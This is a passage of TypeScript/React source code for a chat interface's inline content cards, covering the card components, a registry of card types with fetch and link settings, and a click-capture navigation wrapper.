// original BlogCard's compact video badge + the Figma `7741:26583` sample);\n  // otherwise the first category.\n  const status: MingoInfoCardStatus | undefined = hasEmbeddedVideo\n    ? { label: 'Video', variant: 'primary' }\n    : category\n      ? { label: category, variant: 'grey' }\n      : undefined\n  return (\n    <EntityMingoCard\n      title={item?.title ?? ''}\n      description={item?.summary ?? undefined}\n      cover={entityCover(item?.featured_image, ogPlaceholder)}\n      fallbackIcon={<NewspaperIcon size={24} />}\n      status={status}\n      chatRef={chatRef}\n      isNewTab={isNewTab}\n      discuss={discuss}\n      menuAriaLabel=\"Article actions\"\n    />\n  )\n}\n\n/** Case study → trophy icon + \"Case study\" pill. */\nfunction CaseStudyChatCard({\n  item,\n  chatRef,\n  isNewTab,\n  ogPlaceholder,\n  discuss,\n}: {\n  item: any\n  chatRef: ChatRef\n  isNewTab: boolean\n  ogPlaceholder?: string | null\n  discuss?: CardDiscussAction\n}) {\n  const meta = [item?.msp?.name, item?.user?.full_name].filter(Boolean).join(' · ')\n  return (\n    <EntityMingoCard\n      title={item?.title ?? ''}\n      description={item?.summary || meta || undefined}\n      cover={entityCover(item?.featured_image, ogPlaceholder)}\n      fallbackIcon={<TrophyIcon size={24} />}\n      status={{ label: 'Case study', variant: 'grey' }}\n      chatRef={chatRef}\n      isNewTab={isNewTab}\n      discuss={discuss}\n      menuAriaLabel=\"Case study actions\"\n    />\n  )\n}\n\n/** Customer interview → microphone icon + \"Interview\" pill. */\nfunction CustomerInterviewChatCard({\n  item,\n  chatRef,\n  isNewTab,\n  ogPlaceholder,\n  discuss,\n}: {\n  item: any\n  chatRef: ChatRef\n  isNewTab: boolean\n  ogPlaceholder?: string | null\n  discuss?: CardDiscussAction\n}) {\n  const meta = [item?.user?.full_name, item?.msp?.name].filter(Boolean).join(' · ')\n  return (\n    <EntityMingoCard\n      title={item?.title ?? ''}\n      // Original compact body reads `video_summary` (NOT `summary`); fall back\n      // to the \"user · msp\" meta line when absent.\n      description={item?.video_summary || meta || undefined}\n      cover={entityCover(item?.featured_image, ogPlaceholder)}\n      fallbackIcon={<MicrophoneIcon size={24} />}\n      status={{ label: 'Interview', variant: 'grey' }}\n      chatRef={chatRef}\n      isNewTab={isNewTab}\n      discuss={discuss}\n      menuAriaLabel=\"Interview actions\"\n    />\n  )\n}\n\n/** Investor update → presentation icon + \"Investor update\" pill. Title falls\n *  back to \"Update #N\" when the row has no explicit title. */\nfunction InvestorUpdateChatCard({\n  item,\n  chatRef,\n  isNewTab,\n  ogPlaceholder,\n  discuss,\n}: {\n  item: any\n  chatRef: ChatRef\n  isNewTab: boolean\n  ogPlaceholder?: string | null\n  discuss?: CardDiscussAction\n}) {\n  const title = item?.title || `Update #${item?.update_number ?? '?'}`\n  return (\n    <EntityMingoCard\n      title={title}\n      // Original compact body reads `strategic_update || content` (NOT\n      // `summary`); fall back to the period text.\n      description={\n        item?.strategic_update ||\n        item?.content ||\n        formatInvestorUpdatePeriod(item?.period_start, item?.period_end) ||\n        undefined\n      }\n      cover={entityCover(item?.featured_image, ogPlaceholder)}\n      fallbackIcon={<PresentationLineIcon size={24} />}\n      status={{ label: 'Investor update', variant: 'grey' }}\n      chatRef={chatRef}\n      isNewTab={isNewTab}\n      discuss={discuss}\n      menuAriaLabel=\"Update actions\"\n    />\n  )\n}\n\n/** Onboarding guide → compass icon + \"Guide\" pill. Cover prefers the featured\n *  image, then the video thumbnail / OG image. */\nfunction OnboardingGuideChatCard({\n  item,\n  chatRef,\n  isNewTab,\n  ogPlaceholder,\n  discuss,\n}: {\n  item: any\n  chatRef: ChatRef\n  isNewTab: boolean\n  ogPlaceholder?: string | null\n  discuss?: CardDiscussAction\n}) {\n  const cover =\n    entityCover(item?.featured_image) ??\n    entityCover(item?.main_video_thumbnail) ??\n    entityCover(item?.og_image_url, ogPlaceholder)\n  return (\n    <EntityMingoCard\n      title={item?.title ?? ''}\n      description={item?.summary ?? item?.description ?? undefined}\n      cover={cover}\n      fallbackIcon={<CompassIcon size={24} />}\n      status={{ label: 'Guide', variant: 'grey' }}\n      chatRef={chatRef}\n      isNewTab={isNewTab}\n      discuss={discuss}\n      menuAriaLabel=\"Guide actions\"\n    />\n  )\n}\n\n/** Program (podcast / webinar / event) → per-type icon + type pill. Cover is\n *  the program `cover_url`. */\nfunction ProgramChatCard({\n  item,\n  chatRef,\n  isNewTab,\n  configKey,\n  label,\n  ogPlaceholder,\n  discuss,\n}: {\n  item: any\n  chatRef: ChatRef\n  isNewTab: boolean\n  configKey: 'podcast' | 'webinar' | 'event'\n  label: string\n  ogPlaceholder?: string | null\n  discuss?: CardDiscussAction\n}) {\n  const icon =\n    configKey === 'webinar' ? (\n      <PresentationBarIcon size={24} />\n    ) : configKey === 'event' ? (\n      <CalendarIcon size={24} />\n    ) : (\n      <MicrophoneIcon size={24} />\n    )\n\n  // Rich meta line mirroring ProgramCard's compact subtitle: \"date · <typeMeta>\"\n  // where typeMeta is podcast duration / event location / webinar time·duration.\n  // The type label itself already lives in the status pill, so it's omitted here.\n  const isScheduled = item?.status === 'scheduled'\n  let typeMeta: string | undefined\n  if (\n    configKey === 'podcast' &&\n    typeof item?.duration_seconds === 'number' &&\n    item.duration_seconds > 0 &&\n    !isScheduled\n  ) {\n    typeMeta = formatDurationCompact(item.duration_seconds)\n  } else if (\n    configKey === 'event' &&\n    typeof item?.location_name === 'string' &&\n    item.location_name.trim().length > 0\n  ) {\n    typeMeta = item.location_name\n  } else if (configKey === 'webinar' && item?.start_at) {\n    const time = formatTimeWithTimezone(item.start_at, item.timezone ?? null)\n    const dur = formatDurationFromRange(item.start_at, item.end_at)\n    typeMeta = dur ? `${time} · ${dur}` : time\n  }\n  const itemDate = formatDate(item?.date ?? null, { fallback: '', timezone: 'local' })\n  const meta = [itemDate, typeMeta].filter(Boolean).join(' · ')\n\n  return (\n    <EntityMingoCard\n      title={item?.title ?? ''}\n      description={meta || item?.description || undefined}\n      cover={entityCover(item?.cover_url, ogPlaceholder)}\n      fallbackIcon={icon}\n      status={{ label, variant: 'grey' }}\n      chatRef={chatRef}\n      isNewTab={isNewTab}\n      discuss={discuss}\n      menuAriaLabel={`${label} actions`}\n    />\n  )\n}\n\n/**\n * Roadmap / delivery / task → coloured status pill, no cover image. Icon\n * priority mirrors `RoadmapCard`:\n *   1. task-type glyph for internal tasks (and logo-less typed items)\n *   2. the server-provided integration logo (`item.icon`, ClickUp, …),\n *      shown contained inside the icon box\n *   3. a per-type default glyph\n */\nfunction RoadmapChatCard({\n  item,\n  chatRef,\n  isNewTab,\n  cardType,\n  discuss,\n}: {\n  item: any\n  chatRef: ChatRef\n  isNewTab: boolean\n  cardType: 'roadmap_item' | 'delivery_item' | 'internal_task'\n  discuss?: CardDiscussAction\n}) {\n  const logoUrl =\n    typeof item?.icon === 'string' && item.icon.startsWith('http') ? item.icon : undefined\n  const useTypeIcon = cardType === 'internal_task' || (!logoUrl && item?.customItemId != null)\n  const defaultIcon =\n    cardType === 'delivery_item' ? (\n      <TruckFastIcon size={24} />\n    ) : cardType === 'internal_task' ? (\n      <CheckSquareIcon size={24} />\n    ) : (\n      <MapIcon size={24} />\n    )\n  const icon = useTypeIcon ? (\n    <TaskTypeIcon customItemId={item?.customItemId} className=\"size-6\" />\n  ) : logoUrl ? (\n    // Contained (not full-bleed) so the integration logo keeps its aspect\n    // ratio inside the bordered icon box — matches RoadmapCard.\n    <img src={logoUrl} alt=\"\" className=\"size-6 object-contain\" />\n  ) : (\n    defaultIcon\n  )\n  // Every card here is a mirrored ClickUp task whose ref id IS the ClickUp\n  // task id, so the \"⋯\" menu deep-links into ClickUp. internal_task's card\n  // URL already IS that deep link (its mapper resolves no public\n  // destination) — there we relabel the existing \"Open Details\" row instead\n  // of adding a duplicate second ClickUp row.\n  const clickupHref = clickupTaskUrl(chatRef.id)\n  const clickupIcon = <ClickupLogoIcon size={20} />\n  const cardUrlIsClickup = cardType === 'internal_task'\n  return (\n    <EntityMingoCard\n      title={item?.title ?? ''}\n      description={item?.description ?? undefined}\n      fallbackIcon={icon}\n      status={statusPill(item?.status)}\n      chatRef={chatRef}\n      isNewTab={isNewTab}\n      discuss={discuss}\n      menuAriaLabel=\"Roadmap actions\"\n      openDetails={\n        cardUrlIsClickup ? { label: 'Open in ClickUp', icon: clickupIcon } : undefined\n      }\n      externalLink={\n        !cardUrlIsClickup && clickupHref\n          ? { label: 'Open in ClickUp', icon: clickupIcon, href: clickupHref }\n          : undefined\n      }\n    />\n  )\n}\n\n// =============================================================================\n// CHAT_CARD_REGISTRY — single source of truth.\n// =============================================================================\n\n/**\n * ONE entry shape — no fetch/no-fetch mode split. Every card type fetches\n * its data by id (\"send ids → get full objects\"); the ONLY entries without\n * a `contentRefType` are the two types that have nothing server-side to\n * fetch: `deleted_data` (a tombstone for a row that no longer exists) and\n * `video` (body-embed content-hash ids with no backing table row) — those\n * render straight from the server-built ref.\n */\ninterface ChatCardRegistryEntry {\n  label: string\n  /** Render the card alone — skip the `ChatCardWithDiscuss` \"Ask\" +\n   *  provenance source row. */\n  bareInline?: boolean\n  displayAction?: boolean\n  /** Hydration type for `useChatCardItem` → `buildListUrl`. Content types\n   *  resolve to their public list APIs; ref-shaped types resolve to the\n   *  hub's generic `/api/chat/entity-refs?type=&ids=`. ABSENT only for\n   *  `deleted_data` + `video` (see above). */\n  contentRefType?: string\n  /** Required whenever `contentRefType` is set. */\n  skeleton?: () => React.ReactNode\n  /** `item` is the fetched row (`undefined` only on the ref-only render\n   *  path — `deleted_data` / `video`). */\n  render: (item: any, chatRef: ChatRef, opts: ChatCardRenderOptions) => React.ReactNode\n  /** Optional post-fetch URL synthesizer. When `chatRef.url` is null\n   *  AFTER `resolveSourceRowCTA`, the loader runs this against the\n   *  hydrated item to produce a fallback URL (e.g.\n   *  `/admin/campaigns/${item.id}` for marketing campaigns; `item.url`\n   *  for ChatRef-shaped items). Result is validated via `safeHref`\n   *  before being attached to the resolved ref — so the wrapper sees a\n   *  non-null `href`, the pre-computed `isNewTab` reflects the actual\n   *  destination, and the click goes through `handleChatNavClick` (no\n   *  silent bypass of embed-mode / close-on-nav). Takes precedence over\n   *  the `composeContentUrl` fallback below. */\n  fallbackHref?: (item: any) => string | null\n  /** Opt OUT of the post-fetch `composeContentUrl` fallback (see\n   *  `resolveFetchedCardHref`). Set for types with NO public destination\n   *  — the seam would otherwise synthesize `<contentOrigin>/<type>/<id>`\n   *  from its default branch and hand the user a 404. Types with a real\n   *  route (hosted, or covered by a host `override`) leave it unset. */\n  noComposedHref?: boolean\n}\n\n/**\n * Entry preset for types hydrated by their per-object card route\n * (`/api/github/commits`, `/api/slack-community/messages`, …;\n * `hubspot_ticket_self` via `/api/tickets`) — the fetched item IS a\n * `ChatRef`, and the API is the SINGLE display-data layer\n * (`fetchedItemDisplayRef`): `item.url` is the canonical destination\n * (`fallbackHref`), no `<origin>/<type>/<id>` synthesis\n * (`noComposedHref`). Loading shows the skeleton, exactly like every\n * other fetch card.\n */\nfunction refHydratedEntry(\n  docType: string,\n  label: string,\n  renderRef: (displayRef: ChatRef, opts: ChatCardRenderOptions) => React.ReactNode,\n): ChatCardRegistryEntry {\n  return {\n    label,\n    bareInline: true,\n    contentRefType: docType,\n    noComposedHref: true,\n    fallbackHref: (item: { url?: string | null }) => item?.url ?? null,\n    skeleton: () => <MingoInfoCardSkeleton />,\n    render: (item, chatRef, opts) => renderRef(fetchedItemDisplayRef(item, chatRef), opts),\n  }\n}\n\ninterface FinancialCardConfig {\n  label: string\n  /** Per-type leading glyph — carries the type signal now that the\n   *  badge pill is dropped. */\n  icon: () => React.ReactNode\n}\nconst FINANCIAL_CARD_CONFIGS: Record<string, FinancialCardConfig> = {\n  financial_kpi: { label: 'Financial KPI', icon: () => <ChartBar01VerIcon size={24} /> },\n  cap_table: { label: 'Cap table entry', icon: () => <ChartPieIcon size={24} /> },\n  profit_loss: { label: 'P&L period', icon: () => <MoneyBillDollarIcon size={24} /> },\n  balance_sheet: { label: 'Balance sheet', icon: () => <BankIcon size={24} /> },\n  cash_flow: { label: 'Cash flow', icon: () => <CoinsExchangeCurrencyIcon size={24} /> },\n}\n/** Expand a per-family config map into registry entries — ONE loop shell\n *  for every card family (financial, github, program, roadmap); adding a\n *  family is a config map + one `registryEntries(...)` call. */\nfunction registryEntries<C>(\n  configs: Record<string, C>,\n  build: (cfg: C, docType: string) => ChatCardRegistryEntry,\n): Record<string, ChatCardRegistryEntry> {\n  const out: Record<string, ChatCardRegistryEntry> = {}\n  for (const [docType, cfg] of Object.entries(configs)) out[docType] = build(cfg, docType)\n  return out\n}\n\nfunction financialRegistryEntries(): Record<string, ChatCardRegistryEntry> {\n  return registryEntries(FINANCIAL_CARD_CONFIGS, (cfg, docType) =>\n    refHydratedEntry(docType, cfg.label, (displayRef, opts) => (\n      <GenericFinancialChatCard\n        chatRef={displayRef}\n        icon={cfg.icon()}\n        isNewTab={opts.isNewTab}\n        discuss={opts.discuss}\n      />\n    )),\n  )\n}\n\ninterface GitHubCardConfig {\n  label: string\n  kind: GitHubActivityKind\n}\nconst GITHUB_CARD_CONFIGS: Record<string, GitHubCardConfig> = {\n  github_commit: { label: 'GitHub commit', kind: 'commit' },\n  github_commit_public: { label: 'GitHub commit (public)', kind: 'commit' },\n  github_pull_request: { label: 'GitHub PR', kind: 'pull_request' },\n  github_pull_request_public: { label: 'GitHub PR (public)', kind: 'pull_request' },\n  github_pr_review: { label: 'GitHub review', kind: 'pr_review' },\n  github_pr_review_public: { label: 'GitHub review (public)', kind: 'pr_review' },\n}\nfunction githubRegistryEntries(): Record<string, ChatCardRegistryEntry> {\n  return registryEntries(GITHUB_CARD_CONFIGS, (cfg, docType) =>\n    refHydratedEntry(docType, cfg.label, (displayRef, opts) => (\n      <GitHubChatCard chatRef={displayRef} kind={cfg.kind} isNewTab={opts.isNewTab}\n        discuss={opts.discuss} />\n    )),\n  )\n}\n\ntype ProgramConfigKey = 'podcast' | 'webinar' | 'event'\ninterface ProgramCardConfig {\n  label: string\n  configKey: ProgramConfigKey\n  contentRefType: string\n}\nconst PROGRAM_CARD_CONFIGS: Record<string, ProgramCardConfig> = {\n  podcast: { label: 'Podcast episode', configKey: 'podcast', contentRefType: 'podcast' },\n  webinar: { label: 'Webinar', configKey: 'webinar', contentRefType: 'webinar' },\n  event: { label: 'Event', configKey: 'event', contentRefType: 'event' },\n}\nfunction programRegistryEntries(): Record<string, ChatCardRegistryEntry> {\n  return registryEntries(PROGRAM_CARD_CONFIGS, (cfg) => ({\n    label: cfg.label,\n    contentRefType: cfg.contentRefType,\n    bareInline: true,\n    skeleton: () => <ProgramCardSkeleton size=\"sm\" />,\n    render: (item, chatRef, opts) => (\n      <ProgramChatCard\n        item={item}\n        chatRef={chatRef}\n        isNewTab={opts.isNewTab}\n        discuss={opts.discuss}\n        configKey={cfg.configKey}\n        label={cfg.configKey.charAt(0).toUpperCase() + cfg.configKey.slice(1)}\n        ogPlaceholder={opts?.extras?.buildOgPlaceholderUrl?.(item?.title ?? '') ?? null}\n      />\n    ),\n  }))\n}\n\ntype RoadmapCardType = 'roadmap_item' | 'delivery_item' | 'internal_task'\ninterface RoadmapEntryConfig {\n  label: string\n  cardType: RoadmapCardType\n  contentRefType: string\n  /** See `ChatCardRegistryEntry.noComposedHref`. */\n  noComposedHref?: boolean\n  /** See `ChatCardRegistryEntry.fallbackHref`. */\n  fallbackHref?: (item: any) => string | null\n}\nconst ROADMAP_CARD_CONFIGS: Record<string, RoadmapEntryConfig> = {\n  roadmap_item: { label: 'Roadmap item', cardType: 'roadmap_item', contentRefType: 'roadmap_item' },\n  delivery_item: {\n    label: 'Delivery item',\n    cardType: 'delivery_item',\n    contentRefType: 'delivery_item',\n  },\n  internal_task: {\n    label: 'Internal task',\n    cardType: 'internal_task',\n    contentRefType: 'internal_task',\n    // Internal ClickUp work has no public destination on any platform — the\n    // seam's default branch would synthesize `<hub>/internal_task/<id>`.\n    // The card's destination IS the ClickUp deep link, derived from the\n    // task id post-fetch (the refs frame used to carry it).\n    noComposedHref: true,\n    fallbackHref: (item: { id?: unknown }) =>\n      item?.id != null ? clickupTaskUrl(String(item.id)) : null,\n  },\n}\nfunction roadmapRegistryEntries(): Record<string, ChatCardRegistryEntry> {\n  return registryEntries(ROADMAP_CARD_CONFIGS, (cfg) => ({\n    label: cfg.label,\n    contentRefType: cfg.contentRefType,\n    bareInline: true,\n    ...(cfg.noComposedHref ? { noComposedHref: true } : {}),\n    ...(cfg.fallbackHref ? { fallbackHref: cfg.fallbackHref } : {}),\n    skeleton: () => <RoadmapCardSkeleton size=\"sm\" />,\n    render: (item, chatRef, opts) => (\n      <RoadmapChatCard\n        item={item}\n        chatRef={chatRef}\n        isNewTab={opts.isNewTab}\n        discuss={opts.discuss}\n        cardType={cfg.cardType}\n      />\n    ),\n  }))\n}\n\nconst CHAT_CARD_REGISTRY: Record<string, ChatCardRegistryEntry> = {\n  // ───────── ref-shaped types: hydrated via /api/chat/entity-refs ─────────\n  ...githubRegistryEntries(),\n  // Generic TOMBSTONE for entities a chat action deleted (ClickUp task\n  // today; any deletable entity tomorrow). No fetch (nothing exists\n  // server-side anymore), no navigation — the placeholder keeps the\n  // thread's integrity (Teams/Slack \"This message was deleted\" pattern).\n  deleted_data: {\n    label: 'Deleted',\n    bareInline: true,\n    // The marker descriptor carries no metadata (cards hydrate by id, and a\n    // deleted entity has nothing to hydrate from), so every prop degrades to\n    // null and the card renders its generic \"Deleted item\" tombstone. The\n    // descriptor's `title` defaults to the raw cardId — suppress it so the\n    // strikethrough line never shows an opaque id.\n    render: (_item, chatRef) => (\n      <DeletedDataCard\n        title={chatRef.title && chatRef.title !== chatRef.id ? chatRef.title : null}\n        entityLabel={(chatRef.metadata?.entity_label as string | undefined) ?? null}\n        recoveryNote={(chatRef.metadata?.recovery_note as string | undefined) ?? null}\n      />\n    ),\n  },\n  slack_message: refHydratedEntry('slack_message', 'Slack message', (displayRef, opts) => (\n    <SlackChatCard chatRef={displayRef} isNewTab={opts.isNewTab} discuss={opts.discuss} />\n  )),\n  // FAQ hydrates from its EXISTING public list API (`/api/faqs?ids=` —\n  // also feeding related-content rails, so its base path must not move).\n  // Rows are faq-shaped, not ChatRef-shaped, hence the bespoke row→display\n  // mapping instead of `refHydratedEntry`.\n  faq: {\n    label: 'FAQ',\n    bareInline: true,\n    contentRefType: 'faq',\n    noComposedHref: true,\n    fallbackHref: (item: { id?: number | string }) =>\n      item?.id != null ? `/faqs#${faqItemAnchor(item.id)}` : null,\n    skeleton: () => <MingoInfoCardSkeleton />,\n    render: (item, chatRef, opts) => (\n      <FaqChatCard chatRef={fetchedFaqDisplayRef(item, chatRef)} isNewTab={opts.isNewTab}\n          discuss={opts.discuss} />\n    ),\n  },\n  hubspot_ticket: refHydratedEntry('hubspot_ticket', 'HubSpot ticket', (displayRef, opts) => (\n    <HubspotTicketChatCard chatRef={displayRef} isNewTab={opts.isNewTab}\n        discuss={opts.discuss} />\n  )),\n  hubspot_ticket_anon: refHydratedEntry(\n    'hubspot_ticket_anon',\n    'HubSpot ticket (anon)',\n    (displayRef, opts) => (\n      <HubspotTicketChatCard chatRef={displayRef} isNewTab={opts.isNewTab}\n          discuss={opts.discuss} />\n    ),\n  ),\n  // Self tickets hydrate via the session-scoped `GET /api/tickets?ids=`\n  // (`selfScopeFilter` ACL) instead of the generic endpoint — the self\n  // config's searchFilter is deliberately fail-closed there. Same\n  // ChatRef item shape (`buildHubspotTicketSelfRef` SSOT), same preset.\n  hubspot_ticket_self: refHydratedEntry(\n    'hubspot_ticket_self',\n    'HubSpot ticket (self)',\n    (displayRef, opts) => (\n      <HubspotTicketChatCard chatRef={displayRef} isNewTab={opts.isNewTab}\n          discuss={opts.discuss} />\n    ),\n  ),\n  data_room_doc: refHydratedEntry('data_room_doc', 'Data-room doc', (displayRef, opts) => (\n    <DataRoomDocChatCard chatRef={displayRef} isNewTab={opts.isNewTab}\n        discuss={opts.discuss} />\n  )),\n  markdown: refHydratedEntry('markdown', 'Doc page (markdown)', (displayRef, opts) => (\n    <DataRoomDocChatCard chatRef={displayRef} isNewTab={opts.isNewTab}\n        discuss={opts.discuss} />\n  )),\n  // Body-synthesized video ids (`shortVideoId` content hashes / YouTube\n  // ids) have no backing table row to fetch — ref-only by nature.\n  video: {\n    label: 'Video',\n    bareInline: true,\n    render: (_item, chatRef) => <ChatInlineVideoPill chatRef={chatRef} />,\n  },\n  ...financialRegistryEntries(),\n\n  // ───────── content types: full rows from their public list APIs ─────────\n  blog_post: {\n    label: 'Blog post',\n    contentRefType: 'blog_post_existing',\n    bareInline: true,\n    skeleton: () => <BlogCardSkeleton size=\"sm\" />,\n    render: (item, chatRef, opts) => (\n      <BlogChatCard\n        item={item}\n        chatRef={chatRef}\n        isNewTab={opts.isNewTab}\n          discuss={opts.discuss}\n        ogPlaceholder={opts?.extras?.buildOgPlaceholderUrl?.(item?.title ?? '') ?? null}\n        hasEmbeddedVideo={chatRef.metadata?.hasEmbeddedVideo === true}\n      />\n    ),\n  },\n  case_study: {\n    label: 'Case study',\n    contentRefType: 'case_study',\n    bareInline: true,\n    skeleton: () => <CaseStudyCardSkeleton size=\"sm\" />,\n    render: (item, chatRef, opts) => (\n      <CaseStudyChatCard\n        item={item}\n        chatRef={chatRef}\n        isNewTab={opts.isNewTab}\n          discuss={opts.discuss}\n        ogPlaceholder={opts?.extras?.buildOgPlaceholderUrl?.(item?.title ?? '') ?? null}\n      />\n    ),\n  },\n  customer_interview: {\n    label: 'Customer interview',\n    contentRefType: 'customer_interview',\n    bareInline: true,\n    skeleton: () => <CustomerInterviewCardSkeleton size=\"sm\" />,\n    render: (item, chatRef, opts) => (\n      <CustomerInterviewChatCard\n        item={item}\n        chatRef={chatRef}\n        isNewTab={opts.isNewTab}\n          discuss={opts.discuss}\n        ogPlaceholder={opts?.extras?.buildOgPlaceholderUrl?.(item?.title ?? '') ?? null}\n      />\n    ),\n  },\n  product_release: {\n    label: 'Product release',\n    contentRefType: 'product_release',\n    bareInline: true,\n    skeleton: () => <ProductReleaseCardSkeleton size=\"sm\" />,\n    render: (item, chatRef, opts) => {\n      // Embedder-provided builder wins; lib default fills in otherwise\n      // (covers `coverImage`, `hasVideoCover`, `formattedDate` — the\n      // three fields the compact `size='sm'` card actually reads).\n      // Hub-side embedders still pass their richer builder via\n      // `extras.buildProductReleaseCardProps` to get lg-only metadata\n      // (badge color, changelog counts, etc.).\n      const builder =\n        opts?.extras?.buildProductReleaseCardProps ?? defaultBuildProductReleaseCardProps\n      return (\n        <ProductReleaseChatCard\n          item={item}\n          chatRef={chatRef}\n          buildProps={builder}\n          isNewTab={opts.isNewTab}\n          discuss={opts.discuss}\n        />\n      )\n    },\n  },\n  ...programRegistryEntries(),\n  investor_update: {\n    label: 'Investor update',\n    contentRefType: 'investor_update',\n    bareInline: true,\n    skeleton: () => <InvestorUpdateCardSkeleton size=\"sm\" />,\n    render: (item, chatRef, opts) => (\n      <InvestorUpdateChatCard\n        item={item}\n        chatRef={chatRef}\n        isNewTab={opts.isNewTab}\n          discuss={opts.discuss}\n        ogPlaceholder={opts?.extras?.buildOgPlaceholderUrl?.(item?.title ?? '') ?? null}\n      />\n    ),\n  },\n  onboarding_guide: {\n    label: 'Onboarding guide',\n    contentRefType: 'onboarding_guide',\n    bareInline: true,\n    // \"Display\" affordance (verbatim guide body) instead of \"Ask\".\n    displayAction: true,\n    skeleton: () => <OnboardingGuideCardSkeleton size=\"sm\" />,\n    render: (item, chatRef, opts) => (\n      <OnboardingGuideChatCard\n        item={item}\n        chatRef={chatRef}\n        isNewTab={opts.isNewTab}\n          discuss={opts.discuss}\n        ogPlaceholder={opts?.extras?.buildOgPlaceholderUrl?.(item?.title ?? '') ?? null}\n      />\n    ),\n  },\n  marketing_campaign: {\n    label: 'Marketing campaign',\n    contentRefType: 'marketing_campaign',\n    bareInline: true,\n    skeleton: () => <CampaignCardAdminSkeleton />,\n    // No public viewer — synthesize the hub-internal admin URL post-fetch\n    // so the wrapper + isNewTab computation see the actual destination.\n    fallbackHref: (item: { id?: string }) =>\n      item?.id ? `/admin/campaigns/${encodeURIComponent(item.id)}` : null,\n    render: (item, chatRef, opts) => (\n      <CampaignChatCard\n        item={item}\n        chatRef={chatRef}\n        isNewTab={opts.isNewTab}\n          discuss={opts.discuss}\n      />\n    ),\n  },\n  ...roadmapRegistryEntries(),\n}\n\n// =============================================================================\n// ChatCardNavWrap — click-capture interceptor that routes inner-anchor\n// clicks through the chat runtime's nav handler.\n//\n// Single source of truth for click handling on EVERY inline card. The\n// card body provides its own `<a href={absolute}>` (per the\n// pure-presentation contract) — this wrapper intercepts the primary\n// click via `onClickCapture` BEFORE the browser's default navigation\n// fires, and routes through `handleChatNavClick` to apply runtime nav\n// rules (embed-mode `window.open` / cross-platform new-tab / host\n// `runtime.navigation.navigate`). Modifier / non-primary clicks pass\n// through (`handleChatNavClick` returns early so the browser opens\n// the inner anchor's href naturally).\n//\n// Same click model as source chips — chips use `<a onClick={handleChatNavClick}>`\n// directly; cards use `<span onClickCapture={→handleChatNavClick}>` outside\n// the card's own anchor. Both ultimately call `handleChatNavClick` with\n// the same `{href, targetPlatform}` resolved at `ChatCardLoader` via\n// `resolveSourceRowCTA`. The unification:\n//   - Same URL composition (`resolveSourceRowCTA`)\n//   - Same embed-mode prefix (`resolveHrefForRuntime`)\n//   - Same click router (`handleChatNavClick`)\n//   - Same conditional close (`ChatPanelContext.closeChat` on same-tab only)\n// =============================================================================\n\n/**\n * ChatCardNavWrap — click-capture interceptor for inline cards.\n *\n * `<span onClickCapture>` wrapping the card body. The card renders its\n * own `<a href target rel>` with the canonical pre-resolved href +\n * new-tab decision applied (via `opts.isNewTab` from ChatCardLoader).\n *\n * Job:\n *   - PRIMARY clicks → preventDefault + route through `handleChatNavClick`\n *   - Modifier-clicks → pass through to the browser's native handling\n *   - Same-tab nav → close the chat panel (so the panel doesn't linger\n *     over the now-current-page content). New-tab nav leaves it open.\n *\n * Single close path for inline cards. The chip block in\n * `embeddable-chat.tsx` mirrors this logic for source chips. Both\n * gate on `!isNewTab` computed from the same `decideNewTab` rule, so\n * the close decision is consistent across surfaces.\n */\nfunction ChatCardNavWrap({\n  href,\n  path,\n  targetPlatform,\n  isNewTab,\n  children,\n}: {\n  href: string | null\n  /** In-app doc-tree path for `markdown` / `data_room_doc` refs. The\n   *  runtime's `navigate({path})` opportunistically swaps the active\n   *  documentation section without a full page nav; null for everything\n   *  else. Threaded straight through to `handleChatNavClick` so chips\n   *  and inline cards apply the same routing rule. */\n  path: string | null\n  targetPlatform: string | null\n  /** New-tab decision pre-computed by the parent `ChatCardLoader` —\n   *  same value the card's `<a target>` already renders with.\n   *  Consumed here ONLY to decide whether to close the panel. */\n  isNewTab: boolean\n  children: ReactNode\n}) {\n  const runtime = useRequiredChatRuntime()\n  const router = useRouter()\n  const panel = useChatPanel()\n  const onClickCapture = (e: React.MouseEvent<HTMLElement>) => {\n    if (!href) return\n    const targetEl = e.target as HTMLElement\n    // Only claim clicks that physically happened INSIDE this card.\n    //\n    // The card's \"⋯\" menu renders through a React PORTAL: its DOM lives in the\n    // panel's portal host, but React still bubbles its events through this\n    // subtree — so this capture handler sees them first and, being a capture\n    // phase, runs BEFORE the menu row's own `stopPropagation`. That swallowed\n    // the menu's trailing \"↗ Open in new tab\" button: `executeNavigation`\n    // called `preventDefault()` and routed the card's href in the SAME tab,\n    // so the anchor's `target=\"_blank\"` never applied.\n    const host = e.currentTarget as HTMLElement | null\n    if (!host?.contains(targetEl)) return\n    // Buttons rendered INSIDE the card's outer `<a>` (e.g. RoadmapCard\n    // vote buttons, ImageGallery thumbnails) bubble up with\n    // `closest('a')` truthy — without this guard, clicking them would\n    // route through the chat nav handler and navigate away from the\n    // page. The button's own onClick keeps working because we exit\n    // before stopPropagation.\n    if (targetEl?.closest?.('button')) return\n    if (!targetEl?.closest?.('a')) return\n\n    const handled = handleChatNavClick(e, runtime, { href, path, targetPlatform }, router.push)\n    if (!handled) return\n    // Modifier-clicks fall through (handled=false) without stopPropagation\n    // so ancestor telemetry handlers still see the bubble.\n    e.stopPropagation()\n    if (!isNewTab && panel?.closeChat) panel.closeChat()\n  }\n  return (\n    <span className=\"contents\" onClickCapture={onClickCapture}>\n      {children}\n    </span>\n  )\n}\n\n// =============================================================================\n// ChatCardLoader — fetch + skeleton + render for fetch-mode entries.\n// =============================================================================\n\ninterface ChatCardLoaderProps {\n  chatRef: ChatRef\n  onDiscuss?: (ref: ChatRef) => void\n  onDisplay?: (ref: ChatRef) => void\n  baseRoute?: string\n  chipBasePlatform?: string\n  extras?: ChatCardDispatchExtras\n}\n\n/**\n * Generic fetch-mode card loader. Looks up the registry entry by\n * `chatRef.type`, fetches the full item via `useChatCardItem`, and\n * routes through skeleton / null / card-render.\n *\n * SINGLE URL-RESOLUTION POINT — same code path source chips already\n * had. Before render dispatch:\n *   - Pass the ref through `resolveSourceRowCTA` to compute the\n *     canonical `{href, targetPlatform}` (externalUrl → in-app path\n *     fallback → null, with embedder `baseRoute` / `chipBasePlatform`\n *     awareness).\n *   - Pre-resolve href against `runtime.navigation.defaultContentOrigin`\n *     in embed mode (so modifier-click + copy-link land on the hub).\n *   - Re-attach the resolved values onto the ref so EVERY downstream\n *     card — whether it renders an inner `<a>` from `href` prop\n *     (BlogCard, ProgramCard, …) or pulls `anchorProps` from\n *     `computeIsNewTab` — sees the SAME canonical URL the\n *     chip would render.\n *\n * Eliminates the entire \"chip works, inline card doesn't\" class of bug.\n */\nexport function ChatCardLoader({\n  chatRef,\n  onDiscuss,\n  onDisplay,\n  baseRoute,\n  chipBasePlatform,\n  